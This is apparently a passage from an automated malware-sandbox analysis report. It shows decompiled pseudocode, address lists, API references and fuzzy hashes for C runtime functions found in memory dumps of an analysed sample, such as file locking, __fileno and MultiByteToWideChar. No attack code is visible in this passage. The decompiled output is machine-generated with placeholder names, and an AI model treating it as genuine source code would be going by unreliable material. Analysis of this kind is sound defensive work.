						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}













                                                                                                                                                                                          0x0040c73d
                                                                                                                                                                                          0x0040c690
                                                                                                                                                                                          0x0040c692
                                                                                                                                                                                          0x0040c697
                                                                                                                                                                                          0x0040c69e
                                                                                                                                                                                          0x0040c6a3
                                                                                                                                                                                          0x0040c6a8
                                                                                                                                                                                          0x0040c6aa
                                                                                                                                                                                          0x0040c6c8
                                                                                                                                                                                          0x0040c6ce
                                                                                                                                                                                          0x0040c6d1
                                                                                                                                                                                          0x0040c6d6
                                                                                                                                                                                          0x0040c6dc
                                                                                                                                                                                          0x0040c6df
                                                                                                                                                                                          0x0040c70f
                                                                                                                                                                                          0x0040c70f
                                                                                                                                                                                          0x0040c6e1
                                                                                                                                                                                          0x0040c6e2
                                                                                                                                                                                          0x0040c6e8
                                                                                                                                                                                          0x0040c6eb
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c6ed
                                                                                                                                                                                          0x0040c6ee
                                                                                                                                                                                          0x0040c70b
                                                                                                                                                                                          0x0040c70b
                                                                                                                                                                                          0x0040c6eb
                                                                                                                                                                                          0x0040c714
                                                                                                                                                                                          0x0040c71b
                                                                                                                                                                                          0x0040c71e
                                                                                                                                                                                          0x0040c725
                                                                                                                                                                                          0x0040c72a
                                                                                                                                                                                          0x0040c72a
                                                                                                                                                                                          0x0040c6ac
                                                                                                                                                                                          0x0040c6ac
                                                                                                                                                                                          0x0040c6b3
                                                                                                                                                                                          0x0040c6b4
                                                                                                                                                                                          0x0040c6b6
                                                                                                                                                                                          0x0040c6b7
                                                                                                                                                                                          0x0040c6b8
                                                                                                                                                                                          0x0040c6b9
                                                                                                                                                                                          0x0040c6ba
                                                                                                                                                                                          0x0040c6bb
                                                                                                                                                                                          0x0040c6c3
                                                                                                                                                                                          0x0040c6c3
                                                                                                                                                                                          0x0040c731

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __lock_file.LIBCMT ref: 0040C6C8
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6D6
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6E2
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6EE
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6FE
                                                                                                                                                                                            • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                                            • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2805327698-0
                                                                                                                                                                                          • Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                                                          • Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
                                                                                                                                                                                          • Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                                                          • Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0082421C, Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __getptd.LIBCMT ref: 00824228
                                                                                                                                                                                            • Part of subcall function 00820985: __getptd_noexit.LIBCMT ref: 00820988
                                                                                                                                                                                            • Part of subcall function 00820985: __amsg_exit.LIBCMT ref: 00820995
                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00824248
                                                                                                                                                                                          • __lock.LIBCMT ref: 00824258
                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(?), ref: 00824275
                                                                                                                                                                                          • InterlockedIncrement.KERNEL32(00422D38), ref: 008242A0
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 4271482742-0
                                                                                                                                                                                          • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                                          • Instruction ID: be289108dcfbb91bf3ecdd6ee5ec0d2b5c51cab118aff9a4c6e8320584001add
                                                                                                                                                                                          • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                                          • Instruction Fuzzy Hash: E0016D31A01635EBD720AB6AB90579EB764FF44710F414015FC18E7291CB78A9C1CBEA
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00413FCC, Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 89%
                                                                                                                                                                                          			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x22215f8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x22215f8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x22215f8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}










                                                                                                                                                                                          0x00413fcc
                                                                                                                                                                                          0x00413fcc
                                                                                                                                                                                          0x00413fcc
                                                                                                                                                                                          0x00413fcc
                                                                                                                                                                                          0x00413fce
                                                                                                                                                                                          0x00413fd3
                                                                                                                                                                                          0x00413fdd
                                                                                                                                                                                          0x00413fdf
                                                                                                                                                                                          0x00413fe7
                                                                                                                                                                                          0x00414008
                                                                                                                                                                                          0x0041400e
                                                                                                                                                                                          0x00414012
                                                                                                                                                                                          0x00414015
                                                                                                                                                                                          0x00414018
                                                                                                                                                                                          0x0041401e
                                                                                                                                                                                          0x00414020
                                                                                                                                                                                          0x00414022
                                                                                                                                                                                          0x00414025
                                                                                                                                                                                          0x0041402b
                                                                                                                                                                                          0x0041402d
                                                                                                                                                                                          0x0041402f
                                                                                                                                                                                          0x00414035
                                                                                                                                                                                          0x00414037
                                                                                                                                                                                          0x00414038
                                                                                                                                                                                          0x0041403d
                                                                                                                                                                                          0x00414035
                                                                                                                                                                                          0x0041402d
                                                                                                                                                                                          0x0041403e
                                                                                                                                                                                          0x00414043
                                                                                                                                                                                          0x00414046
                                                                                                                                                                                          0x0041404c
                                                                                                                                                                                          0x00414050
                                                                                                                                                                                          0x00414050
                                                                                                                                                                                          0x00414056
                                                                                                                                                                                          0x0041405d
                                                                                                                                                                                          0x00413fef
                                                                                                                                                                                          0x00413fef
                                                                                                                                                                                          0x00413fef
                                                                                                                                                                                          0x00413ff4
                                                                                                                                                                                          0x00413ff8
                                                                                                                                                                                          0x00413ffd
                                                                                                                                                                                          0x00414005

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __getptd.LIBCMT ref: 00413FD8
                                                                                                                                                                                            • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                                                            • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00413FF8
                                                                                                                                                                                          • __lock.LIBCMT ref: 00414008
                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(?), ref: 00414025
                                                                                                                                                                                          • InterlockedIncrement.KERNEL32(022215F8), ref: 00414050
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 4271482742-0
                                                                                                                                                                                          • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                                          • Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
                                                                                                                                                                                          • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                                          • Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00413610, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 65%
                                                                                                                                                                                          			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}







                                                                                                                                                                                          0x00413615
                                                                                                                                                                                          0x0041361d
                                                                                                                                                                                          0x00413634
                                                                                                                                                                                          0x004135e0
                                                                                                                                                                                          0x004135e9
                                                                                                                                                                                          0x004135f5
                                                                                                                                                                                          0x004135f8
                                                                                                                                                                                          0x004135fb
                                                                                                                                                                                          0x004135fd
                                                                                                                                                                                          0x00413600
                                                                                                                                                                                          0x00413605
                                                                                                                                                                                          0x0041360f
                                                                                                                                                                                          0x00413607
                                                                                                                                                                                          0x0041360b
                                                                                                                                                                                          0x0041360b
                                                                                                                                                                                          0x0041361f
                                                                                                                                                                                          0x00413625
                                                                                                                                                                                          0x0041362d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041362f
                                                                                                                                                                                          0x0041362f
                                                                                                                                                                                          0x00413633
                                                                                                                                                                                          0x00413633
                                                                                                                                                                                          0x0041362d

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: AddressHandleModuleProc
                                                                                                                                                                                          • String ID: IsProcessorFeaturePresent$KERNEL32
                                                                                                                                                                                          • API String ID: 1646373207-3105848591
                                                                                                                                                                                          • Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                                                          • Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
                                                                                                                                                                                          • Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                                                          • Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00811B40, Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • lstrlen.KERNEL32(?), ref: 00811B56
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 00811B7F
                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 00811B90
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00811BA8
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00811BD0
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3322701435-0
                                                                                                                                                                                          • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                                          • Instruction ID: 883434f63e8772bfda3c9e35909801d11d9cf8bac3b4cc7762eba5bb89a5341f
                                                                                                                                                                                          • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                                          • Instruction Fuzzy Hash: 0711C4315453247BD73097158C8CFA77F6CEF86BA5F008114FE45DA281D621AC44C6F5
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081C998, Relevance: 6.1, APIs: 4, Instructions: 148COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0081C9CC
                                                                                                                                                                                          • __locking.LIBCMT ref: 0081C9E1
                                                                                                                                                                                            • Part of subcall function 0081C211: __getptd_noexit.LIBCMT ref: 0081C211
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __fileno__getptd_noexit__locking
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 630670418-0
                                                                                                                                                                                          • Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                                                          • Instruction ID: a47c3f336c3cba04d7129ccc8d6ac3cfdbe3433d7082a3c1ea72885c637346cd
                                                                                                                                                                                          • Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                                                          • Instruction Fuzzy Hash: 2C519FB1A4421DABDB11CEA8D981BDDBBB9FF04364F258165E915E7281D370AEC0CB81
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040C748, Relevance: 6.1, APIs: 4, Instructions: 148COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 86%
                                                                                                                                                                                          			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}






























                                                                                                                                                                                          0x0040c748
                                                                                                                                                                                          0x0040c748
                                                                                                                                                                                          0x0040c752
                                                                                                                                                                                          0x0040c755
                                                                                                                                                                                          0x0040c757
                                                                                                                                                                                          0x0040c759
                                                                                                                                                                                          0x0040c77c
                                                                                                                                                                                          0x0040c781
                                                                                                                                                                                          0x0040c785
                                                                                                                                                                                          0x0040c788
                                                                                                                                                                                          0x0040c78a
                                                                                                                                                                                          0x0040c78a
                                                                                                                                                                                          0x0040c78d
                                                                                                                                                                                          0x0040c78f
                                                                                                                                                                                          0x0040c790
                                                                                                                                                                                          0x0040c791
                                                                                                                                                                                          0x0040c799
                                                                                                                                                                                          0x0040c79b
                                                                                                                                                                                          0x0040c79e
                                                                                                                                                                                          0x0040c773
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7a0
                                                                                                                                                                                          0x0040c7a0
                                                                                                                                                                                          0x0040c7a3
                                                                                                                                                                                          0x0040c7a9
                                                                                                                                                                                          0x0040c7b3
                                                                                                                                                                                          0x0040c7b5
                                                                                                                                                                                          0x0040c7b8
                                                                                                                                                                                          0x0040c7bd
                                                                                                                                                                                          0x0040c7c0
                                                                                                                                                                                          0x0040c7c3
                                                                                                                                                                                          0x0040c806
                                                                                                                                                                                          0x0040c808
                                                                                                                                                                                          0x0040c7f9
                                                                                                                                                                                          0x0040c7f9
                                                                                                                                                                                          0x0040c7fc
                                                                                                                                                                                          0x0040c81a
                                                                                                                                                                                          0x0040c81e
                                                                                                                                                                                          0x0040c8d8
                                                                                                                                                                                          0x0040c8de
                                                                                                                                                                                          0x0040c8de
                                                                                                                                                                                          0x0040c8e0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8e0
                                                                                                                                                                                          0x0040c824
                                                                                                                                                                                          0x0040c827
                                                                                                                                                                                          0x0040c829
                                                                                                                                                                                          0x0040c843
                                                                                                                                                                                          0x0040c84a
                                                                                                                                                                                          0x0040c84f
                                                                                                                                                                                          0x0040c852
                                                                                                                                                                                          0x0040c857
                                                                                                                                                                                          0x0040c8d2
                                                                                                                                                                                          0x0040c8d5
                                                                                                                                                                                          0x0040c8d5
                                                                                                                                                                                          0x0040c8d5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8d5
                                                                                                                                                                                          0x0040c859
                                                                                                                                                                                          0x0040c85b
                                                                                                                                                                                          0x0040c85d
                                                                                                                                                                                          0x0040c868
                                                                                                                                                                                          0x0040c86b
                                                                                                                                                                                          0x0040c88d
                                                                                                                                                                                          0x0040c88f
                                                                                                                                                                                          0x0040c892
                                                                                                                                                                                          0x0040c895
                                                                                                                                                                                          0x0040c89d
                                                                                                                                                                                          0x0040c89f
                                                                                                                                                                                          0x0040c8a6
                                                                                                                                                                                          0x0040c8ab
                                                                                                                                                                                          0x0040c8ae
                                                                                                                                                                                          0x0040c8c0
                                                                                                                                                                                          0x0040c8c0
                                                                                                                                                                                          0x0040c8c3
                                                                                                                                                                                          0x0040c8c3
                                                                                                                                                                                          0x0040c8c8
                                                                                                                                                                                          0x0040c8cd
                                                                                                                                                                                          0x0040c8cd
                                                                                                                                                                                          0x0040c8cf
                                                                                                                                                                                          0x0040c8cf
                                                                                                                                                                                          0x0040c8cf
                                                                                                                                                                                          0x0040c8cf
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8cd
                                                                                                                                                                                          0x0040c8b0
                                                                                                                                                                                          0x0040c8b3
                                                                                                                                                                                          0x0040c8b6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8b8
                                                                                                                                                                                          0x0040c8be
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8be
                                                                                                                                                                                          0x0040c8a1
                                                                                                                                                                                          0x0040c8a1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c8a1
                                                                                                                                                                                          0x0040c86d
                                                                                                                                                                                          0x0040c873
                                                                                                                                                                                          0x0040c880
                                                                                                                                                                                          0x0040c880
                                                                                                                                                                                          0x0040c882
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c877
                                                                                                                                                                                          0x0040c87a
                                                                                                                                                                                          0x0040c87c
                                                                                                                                                                                          0x0040c87c
                                                                                                                                                                                          0x0040c87c
                                                                                                                                                                                          0x0040c87c
                                                                                                                                                                                          0x0040c87f
                                                                                                                                                                                          0x0040c87f
                                                                                                                                                                                          0x0040c87f
                                                                                                                                                                                          0x0040c884
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c884
                                                                                                                                                                                          0x0040c82b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c82b
                                                                                                                                                                                          0x0040c7fe
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7fe
                                                                                                                                                                                          0x0040c80a
                                                                                                                                                                                          0x0040c80f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c80f
                                                                                                                                                                                          0x0040c7ce
                                                                                                                                                                                          0x0040c7d8
                                                                                                                                                                                          0x0040c7db
                                                                                                                                                                                          0x0040c7e0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7e2
                                                                                                                                                                                          0x0040c7e4
                                                                                                                                                                                          0x0040c7e6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7e8
                                                                                                                                                                                          0x0040c7ea
                                                                                                                                                                                          0x0040c7ea
                                                                                                                                                                                          0x0040c7ed
                                                                                                                                                                                          0x0040c7ef
                                                                                                                                                                                          0x0040c7f2
                                                                                                                                                                                          0x0040c7f2
                                                                                                                                                                                          0x0040c7f2
                                                                                                                                                                                          0x0040c7f4
                                                                                                                                                                                          0x0040c7f5
                                                                                                                                                                                          0x0040c7f5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7ea
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040c7ab
                                                                                                                                                                                          0x0040c79e
                                                                                                                                                                                          0x0040c75b
                                                                                                                                                                                          0x0040c760
                                                                                                                                                                                          0x0040c761
                                                                                                                                                                                          0x0040c762
                                                                                                                                                                                          0x0040c763
                                                                                                                                                                                          0x0040c764
                                                                                                                                                                                          0x0040c765
                                                                                                                                                                                          0x0040c76b
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __fileno.LIBCMT ref: 0040C77C
                                                                                                                                                                                          • __locking.LIBCMT ref: 0040C791
                                                                                                                                                                                            • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                                            • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
